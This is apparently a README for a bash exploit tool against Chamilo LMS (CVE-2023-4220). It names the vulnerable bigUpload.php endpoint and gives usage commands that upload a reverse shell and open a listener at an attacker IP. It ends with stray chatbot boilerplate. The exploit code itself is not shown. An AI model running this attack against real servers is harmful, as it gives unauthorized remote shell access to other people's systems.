
Refurbish Chamilo LMS CVE-2023-4220 exploit written in bash
This script exploits a Remote Code Execution (RCE) vulnerability in Chamilo LMS versions ≤ v1.11.24. The vulnerability (CVE-2023-4220) exists due to unrestricted file upload functionality in the bigUpload.php feature of Chamilo LMS, which allows attackers to upload arbitrary files (such as web shells) and execute them, leading to full remote code execution on the server.
This script has been enhanced by Divine Clown to streamline the exploitation process, automatically generating a reverse shell file, uploading it to the target, and launching a listener to give the attacker direct access to the shell.
/main/inc/lib/javascript/bigupload/inc/bigUpload.phpbigUpload.php endpoint../CVE-2023-4220.sh -i <attacker_ip> -p <port> -h <host_link>
-i <attacker_ip>: The attacker's IP address for the reverse shell.-p <port>: The port where the Netcat listener will be started.-h <host_link>: The full URL of the vulnerable Chamilo LMS instance../CVE-2023-4220.sh -i 10.10.14.15 -p 9001 -h http://target-site.com
This tool is intended solely for educational purposes and testing environments where you have explicit permission to exploit vulnerabilities. Unauthorized access to systems is illegal and may result in criminal charges. The authors will not be held responsible for any misuse or damage caused by this script.
Feel free to modify the README further if you want to include any additional information or formatting! Let me know if you need anything else.